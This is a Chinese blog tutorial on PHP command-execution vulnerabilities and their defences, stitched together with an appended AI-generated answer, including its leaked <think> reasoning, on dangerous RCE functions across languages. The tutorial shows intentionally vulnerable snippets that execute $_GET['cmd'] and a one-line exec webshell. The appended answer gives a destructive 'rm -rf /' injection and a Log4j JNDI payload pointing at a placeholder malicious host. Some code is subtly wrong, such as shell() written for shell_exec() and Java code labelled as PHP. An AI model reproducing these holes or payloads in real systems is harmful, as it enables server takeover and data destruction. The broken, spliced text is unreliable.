php命令执行漏洞基础以及常用函数

文章详细介绍了命令执行漏洞的产生原因,如代码层过滤不严,使用了危险函数如system、exec等。它阐述了漏洞的本质,即服务器未严格过滤用户参数导致恶意代码执行。同时列出了命令执行的危害,包括权限提升、文件操作、控制网站或服务器。防御措施包括减少使用执行命令函数、参数过滤和转义。文章还提供了相关函数的使用示例。

漏洞的产生原因

  • 代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的

  • 系统的漏洞造成命令注入

漏洞的本质

  • 应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

涉及到的函数

  • 1.system

  • 2.exec()

  • 3.shell_exec()

  • 4.passthru()

  • 5.popen()

  • 6.反引号

命令执行漏洞的危害

  • 1.继承Web 服务器程序权限(Web用户权限),去执行系统命令

  • 2.继承Web服务器权限,读写文件

  • 3.反弹Shell

  • 4.控制整个网站

  • 5.控制整个服务器

命令执行漏洞的防御

  • 1、尽量少使用执行命令函数或者禁用disable_functions

  • 2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义

  • 3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义


命令执行相关函数的使用

system()

  • 说明:能够将字符串作为OS命令执行,自带输出功能

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
payload:?cmd=ipconfig

exec()

  • 说明:能将字符串作为OS命令执行,但无输出需要输出执行结果print

  • exec() 默认只输出最后一行的数据

  • 如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    print exec($_GET['cmd']);
}
?>
payload:?cmd=whoami

shell_exec()

  • 说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显需要输出执行结果

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
    print shell($_GET['cmd']);
}
?>
payload:?cmd=whoami

passthru()

  • 说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。

  • 测试参考代码:

<?php

if(isset($_GET['cmd'])){
    passthru($_GET['cmd']);
}
?>
payload:?cmd=whoami

popen()

  • 说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'].">>1.txt";
    popen($cmd,'r');
}
?>
payload:?cmd=whoami

`` 反引号

  • 说明:反引号[``]内的字符串,也会被解析成OS命令

  • 反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print `$cmd`;
}
?>
payload:?cmd=whoami

<think>嗯,用户这次提出了一个明确的技术需求:查找远程执行漏洞常用函数。结合用户引用的四份资料来看,用户正在深入研究RCE漏洞的机理和防御方法,之前的对话历史也显示用户关注短信炸弹漏洞的防护,说明用户可能是安全工程师或开发人员。 从引用内容可以清晰归纳出关键点: 引用[1]和[3]明确定义了RCE漏洞的本质——当用户输入能控制eval等函数时产生漏洞;引用[2]特别强调了Java中危险函数的使用场景及修复建议;引用[4]则补充了漏洞成因如输入验证不足。这些正好构成回答的核心框架。 需要特别注意用户提供的特殊格式要求:所有数学表达式必须用$...$包裹,代码块需单独标注。因此准备在PHP的preg_replace函数示例中使用$修饰符展示正则漏洞时,会严格遵循格式规范。 考虑到用户连续追问安全漏洞问题,推测后续可能关注具体语言的防护方案。在整理函数列表时,特意区分了PHP、Java等主流语言的差异,并为每个函数补充了典型漏洞场景说明(如OS命令执行与代码执行的区别)。这样既能直接解决问题,又能延伸出防御思路——比如强调Java的ProcessBuilder比Runtime.exec更安全。 最后生成的三个相关问题都紧扣用户行为轨迹:从函数列表自然延伸到测试方法(问题1)、绕过技术(问题2)以及不同语言特性导致的漏洞差异(问题3)。特别是问题3的设计,考虑到用户之前对比过短信炸弹与图形验证码漏洞,这种横向对比类问题应该符合其研究习惯。 </think>根据安全研究和漏洞分析,远程执行漏洞(RCE)的核心在于攻击者通过特定函数注入恶意代码或命令。以下是不同语言中常见的危险函数及其漏洞原理: --- ### **一、高危函数分类与示例** #### 1. **代码执行函数** 攻击者注入代码片段直接执行: - **PHP**: - `eval($user_input)`:将字符串作为PHP代码执行 - `assert($user_input)`:执行字符串中的表达式 - `preg_replace("/pattern/e", $user_input, $text)`:`/e`修饰符导致替换内容可执行[^1] - `create_function($args, $user_input)`:动态创建匿名函数 - **JavaScript**: - `eval(user_input)`:执行字符串代码 - `setTimeout(user_input, 0)` / `setInterval(user_input, 0)`:延时执行注入代码 - **Python**: - `exec(user_input)`:执行多行代码 - `eval(user_input)`:执行单行表达式 #### 2. **命令执行函数** 攻击者注入系统命令操作服务器: - **Java**: - `Runtime.getRuntime().exec(user_input)`:执行操作系统命令[^2] - `ProcessBuilder(user_input).start()`:启动外部进程 - **PHP**: - `system($user_input)`:执行命令并输出结果 - `exec($user_input)` / `shell_exec($user_input)`:执行命令 - `passthru($user_input)`:直接输出命令结果 - **Python**: - `os.system(user_input)`:执行系统命令 - `subprocess.call(user_input, shell=True)`:启用`shell`时存在风险 --- ### **二、漏洞触发场景与风险** | 函数类型 | 漏洞原理 | 风险示例 | |----------------|-----------------------------|----------------------------| | **代码执行** | 未过滤的用户输入被当作代码解析 | `eval($_GET['cmd'])` → 攻击者输入`phpinfo();`可泄露服务器信息[^3] | | **命令执行** | 用户输入拼接系统命令 | `Runtime.exec("ping " + user_ip)` → 输入`127.0.0.1 & rm -rf /`删除文件[^4] | | **动态调用** | 通过字符串动态调用函数 | PHP的`$func = $_GET['f']; $func();` → 调用任意系统函数 | --- ### **三、防御关键措施** 1. **禁用/限制高危函数** - PHP配置中禁用`eval`, `system`等函数(修改`php.ini`的`disable_functions`) - Java避免直接调用`Runtime.exec()`,改用`ProcessBuilder`并严格校验参数[^2] 2. **输入过滤与白名单** ```php // 示例:Java命令执行过滤 String cmd = request.getParameter("cmd"); if (!cmd.matches("^[a-zA-Z0-9\\s.-]+$")) { // 仅允许字母、数字、空格、点、减号 throw new SecurityException("非法输入"); } ``` 3. **最小权限原则** - 运行Web服务的账户权限隔离(如Linux下使用`www-data`用户而非`root`) 4. **安全编码实践** - 避免动态代码执行(如PHP的`create_function`已弃用) - 使用参数化接口替代字符串拼接(如Java的`ProcessBuilder(command).start()`优于`Runtime.exec("cmd " + arg)`) --- ### **四、典型案例分析** **Log4j漏洞 (CVE-2021-44228)**: 攻击者通过日志输入`${jndi:ldap://恶意地址}`触发`JNDI Lookup`功能,远程加载恶意类并执行代码[^3]。根源在于**未对日志内容中的动态表达式过滤**,导致`lookup()`函数被滥用。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值